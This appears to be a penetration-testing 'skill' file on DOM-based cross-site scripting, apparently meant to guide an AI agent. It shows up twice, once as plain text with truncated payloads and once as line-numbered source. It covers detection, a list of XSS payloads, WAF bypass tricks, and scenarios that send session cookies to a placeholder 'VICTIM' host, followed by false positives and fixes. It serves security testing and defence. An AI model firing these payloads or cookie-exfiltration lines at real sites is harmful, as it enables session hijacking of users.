DOM-Based Cross-Site Scripting (XSS)
What Is Broken and Why
DOM XSS arises when client-side JavaScript takes data from a controllable source (URL fragment, query string, referrer, postMessage, cookie) and writes it to a dangerous sink that interprets HTML or executes code, all without the data ever being sent to or processed by the server. This means server-side output encoding does not prevent it, and proxy-based scanners may miss it entirely. The root cause is JavaScript treating user-controlled DOM properties as trusted content.
Key Signals
- JavaScript reading from:
location.hash, location.search, location.href, document.referrer, window.name, document.cookie, postMessage event data
- JavaScript writing to:
document.write(), innerHTML, outerHTML, insertAdjacentHTML, eval(), setTimeout(string), setInterval(string), location.href = ..., src attribute assignment, jQuery.html(), jQuery.append()
- Single-page applications (SPAs) with client-side routing
- JavaScript dynamically building page content from URL parameters
- Event handler attributes set from JavaScript using string-based eval-equivalent constructs
Methodology
- Crawl the application and collect all JavaScript files, inline scripts, and event handlers.
- Search for DOM source references:
location.hash, location.search, document.referrer, window.name.
- Trace data flow from each source to identify all sinks it reaches.
- Identify the context in which the sink operates (HTML, JavaScript, URL, CSS).
- Craft a context-appropriate payload and deliver via the controllable source.
- Test in a real browser — automated tools miss browser-behavior-dependent execution.
- Pay attention to: script execution in event handlers, off-site CSS/script includes, SPA route handling.
Payloads & Tools
# Fragment-based DOM XSS (payload never sent to server)
TARGET/page#<script>alert(1)</script>
TARGET/page#<img src=x
# Hash-based with document.write sink
# Vulnerable code: document.write("Location: " + document.location.href)
TARGET/page#<script>alert(1)</script>
# innerHTML sink via URL parameter
# Vulnerable code: document.getElementById('x').innerHTML = location.hash.substring(1)
TARGET/page#<img src=x
# eval() sink
# Vulnerable code: eval('var x = "' + location.hash.substring(1) + '"')
TARGET/page#"; alert(1); var y="
# location.href sink (open redirect + XSS)
# Vulnerable code: window.location = decodeURIComponent(location.hash.substring(1))
TARGET/page#javascript:alert(document.cookie)
# jQuery .html() sink
TARGET/page?search=<img src=x
# document.write with script src
TARGET/page?lang=<script src=//VICTIM/xss.js>
# window.name trick (survives navigation)
# Attacker page sets: window.name = "<img src=x
# Victim app reads: document.getElementById('x').innerHTML = window.name
# postMessage XSS
# Attacker sends: targetWindow.postMessage("<img src=x "*")
# Victim app: window.addEventListener("message", (e) => { div.innerHTML = e.data; })
# Burp DOM Invader
# Enable in Burp's embedded browser -> Extensions -> DOM Invader
# Automatically injects canary into all sources and monitors sinks
# Manual Chrome DevTools approach
# Sources tab: search all JS for: innerHTML, document.write, eval, location
# Console: monitor with: Object.defineProperty(document, 'cookie', {get: () => {debugger; return ''}})
Bypass Techniques
- Fragment (
#) payloads are not sent to server, bypassing server-side WAFs and filters
javascript: URI scheme in href/src sinks when <script> tags are filtered
- Event handlers in injected HTML:
<img>, <svg>, <body>
innerHTML does not execute <script> tags directly — use event handler payloads instead
- Encoding in fragment:
%3Cscript%3E may be decoded by decodeURIComponent() before reaching sink
window.name persists across cross-origin navigations — attacker page can set it
postMessage with missing or weak origin validation (see web messaging skill)
- Template literal injection in modern JS:
eval(\${userInput}`)`
Exploitation Scenarios
Scenario 1 — Fragment Injection via document.write
Setup: SPA reads location.hash to display a "you came from" breadcrumb using document.write().
Trigger: Victim clicks attacker link: TARGET/dashboard#<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>
Impact: Session cookie exfiltrated to attacker; payload never touches server, bypasses WAF.
Scenario 2 — eval() Injection via Search Parameter
Setup: JavaScript parses location.search and uses eval() to set a variable from the theme parameter.
Trigger: TARGET/page?theme=dark";fetch('http://VICTIM/?c='+document.cookie);//
Impact: Arbitrary JavaScript executed; session stolen.
Scenario 3 — innerHTML Sink via jQuery
Setup: jQuery-based page loads product description from #description fragment into $('#content').html().
Trigger: TARGET/product#<img src=x>
Impact: Cookie exfiltration; attacker can perform any action as the victim user.
False Positives
- Payload in fragment reflected in source but not reaching a dangerous sink (rendered as text only)
innerHTML assigned a value that is HTML-encoded before assignment (escaping happening in JS)
- DOMPurify or similar sanitizer stripping dangerous content before sink assignment
- CSP blocking inline script execution even when payload reaches sink
eval() present in code but receiving only developer-controlled or whitelisted input
Fix Patterns
- Use
textContent or innerText instead of innerHTML when inserting user-controlled data as plain text
- When HTML insertion is required, sanitize with DOMPurify:
element.innerHTML = DOMPurify.sanitize(userInput)
- Avoid
eval(), setTimeout(string), setInterval(string) with user-controlled data
- Validate and sanitize
postMessage event data; always check event.origin before processing
- For URL redirects: use an allowlist of permitted destinations; never pass
javascript: to location.href
- Content Security Policy:
script-src 'self' prevents execution of injected scripts
- Use frameworks with auto-escaping (React, Angular) which avoid direct DOM manipulation by default
Related Skills
DOM XSS is a distinct exploit path from [[xss-reflected]] and [[xss-stored]] because the payload never reaches the server — a purely client-side taint flow. [[cspt]] frequently lands in a DOM XSS sink: a path traversal that redirects a fetch() to an attacker-controlled URL can return a payload that gets written to innerHTML. A [[cors-misconfig]] that lets cross-origin reads succeed enables exfiltrating data from DOM XSS contexts by relaying the stolen content through the attacker's domain.
1---2name: dom-xss3description: Detect and exploit DOM-based XSS vulnerabilities by auditing JavaScript for tainted data flow from controllable sources to dangerous sinks, with payloads and bypass techniques for client-side testing.4license: MIT5---67# DOM-Based Cross-Site Scripting (XSS)89## What Is Broken and Why10DOM XSS arises when client-side JavaScript takes data from a controllable source (URL fragment, query string, referrer, postMessage, cookie) and writes it to a dangerous sink that interprets HTML or executes code, all without the data ever being sent to or processed by the server. This means server-side output encoding does not prevent it, and proxy-based scanners may miss it entirely. The root cause is JavaScript treating user-controlled DOM properties as trusted content.1112## Key Signals13- JavaScript reading from: `location.hash`, `location.search`, `location.href`, `document.referrer`, `window.name`, `document.cookie`, `postMessage` event data14- JavaScript writing to: `document.write()`, `innerHTML`, `outerHTML`, `insertAdjacentHTML`, `eval()`, `setTimeout(string)`, `setInterval(string)`, `location.href = ...`, `src` attribute assignment, `jQuery.html()`, `jQuery.append()`15- Single-page applications (SPAs) with client-side routing16- JavaScript dynamically building page content from URL parameters17- Event handler attributes set from JavaScript using string-based eval-equivalent constructs1819## Methodology201. Crawl the application and collect all JavaScript files, inline scripts, and event handlers.212. Search for DOM source references: `location.hash`, `location.search`, `document.referrer`, `window.name`.223. Trace data flow from each source to identify all sinks it reaches.234. Identify the context in which the sink operates (HTML, JavaScript, URL, CSS).245. Craft a context-appropriate payload and deliver via the controllable source.256. Test in a real browser — automated tools miss browser-behavior-dependent execution.267. Pay attention to: script execution in event handlers, off-site CSS/script includes, SPA route handling.2728## Payloads & Tools29```30# Fragment-based DOM XSS (payload never sent to server)31TARGET/page#<script>alert(1)</script>32TARGET/page#<img src=x onerror=alert(document.cookie)>3334# Hash-based with document.write sink35# Vulnerable code: document.write("Location: " + document.location.href)36TARGET/page#<script>alert(1)</script>3738# innerHTML sink via URL parameter39# Vulnerable code: document.getElementById('x').innerHTML = location.hash.substring(1)40TARGET/page#<img src=x onerror=alert(1)>4142# eval() sink43# Vulnerable code: eval('var x = "' + location.hash.substring(1) + '"')44TARGET/page#"; alert(1); var y="4546# location.href sink (open redirect + XSS)47# Vulnerable code: window.location = decodeURIComponent(location.hash.substring(1))48TARGET/page#javascript:alert(document.cookie)4950# jQuery .html() sink51TARGET/page?search=<img src=x onerror=alert(1)>5253# document.write with script src54TARGET/page?lang=<script src=//VICTIM/xss.js>5556# window.name trick (survives navigation)57# Attacker page sets: window.name = "<img src=x onerror=alert(1)>"58# Victim app reads: document.getElementById('x').innerHTML = window.name5960# postMessage XSS61# Attacker sends: targetWindow.postMessage("<img src=x onerror=alert(1)>", "*")62# Victim app: window.addEventListener("message", (e) => { div.innerHTML = e.data; })6364# Burp DOM Invader65# Enable in Burp's embedded browser -> Extensions -> DOM Invader66# Automatically injects canary into all sources and monitors sinks6768# Manual Chrome DevTools approach69# Sources tab: search all JS for: innerHTML, document.write, eval, location70# Console: monitor with: Object.defineProperty(document, 'cookie', {get: () => {debugger; return ''}})71```7273## Bypass Techniques74- Fragment (`#`) payloads are not sent to server, bypassing server-side WAFs and filters75- `javascript:` URI scheme in href/src sinks when `<script>` tags are filtered76- Event handlers in injected HTML: `<img onerror=...>`, `<svg onload=...>`, `<body onpageshow=...>`77- `innerHTML` does not execute `<script>` tags directly — use event handler payloads instead78- Encoding in fragment: `%3Cscript%3E` may be decoded by `decodeURIComponent()` before reaching sink79- `window.name` persists across cross-origin navigations — attacker page can set it80- `postMessage` with missing or weak origin validation (see web messaging skill)81- Template literal injection in modern JS: `eval(\`${userInput}\`)`8283## Exploitation Scenarios84**Scenario 1 — Fragment Injection via document.write**85Setup: SPA reads `location.hash` to display a "you came from" breadcrumb using `document.write()`.86Trigger: Victim clicks attacker link: `TARGET/dashboard#<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>`87Impact: Session cookie exfiltrated to attacker; payload never touches server, bypasses WAF.8889**Scenario 2 — eval() Injection via Search Parameter**90Setup: JavaScript parses `location.search` and uses `eval()` to set a variable from the `theme` parameter.91Trigger: `TARGET/page?theme=dark";fetch('http://VICTIM/?c='+document.cookie);//`92Impact: Arbitrary JavaScript executed; session stolen.9394**Scenario 3 — innerHTML Sink via jQuery**95Setup: jQuery-based page loads product description from `#description` fragment into `$('#content').html()`.96Trigger: `TARGET/product#<img src=x onerror="document.location='http://VICTIM/steal?c='+document.cookie">`97Impact: Cookie exfiltration; attacker can perform any action as the victim user.9899## False Positives100- Payload in fragment reflected in source but not reaching a dangerous sink (rendered as text only)101- `innerHTML` assigned a value that is HTML-encoded before assignment (escaping happening in JS)102- DOMPurify or similar sanitizer stripping dangerous content before sink assignment103- CSP blocking inline script execution even when payload reaches sink104- `eval()` present in code but receiving only developer-controlled or whitelisted input105106## Fix Patterns107- Use `textContent` or `innerText` instead of `innerHTML` when inserting user-controlled data as plain text108- When HTML insertion is required, sanitize with DOMPurify: `element.innerHTML = DOMPurify.sanitize(userInput)`109- Avoid `eval()`, `setTimeout(string)`, `setInterval(string)` with user-controlled data110- Validate and sanitize `postMessage` event data; always check `event.origin` before processing111- For URL redirects: use an allowlist of permitted destinations; never pass `javascript:` to `location.href`112- Content Security Policy: `script-src 'self'` prevents execution of injected scripts113- Use frameworks with auto-escaping (React, Angular) which avoid direct DOM manipulation by default114115## Related Skills116117DOM XSS is a distinct exploit path from [[xss-reflected]] and [[xss-stored]] because the payload never reaches the server — a purely client-side taint flow. [[cspt]] frequently lands in a DOM XSS sink: a path traversal that redirects a `fetch()` to an attacker-controlled URL can return a payload that gets written to `innerHTML`. A [[cors-misconfig]] that lets cross-origin reads succeed enables exfiltrating data from DOM XSS contexts by relaying the stolen content through the attacker's domain.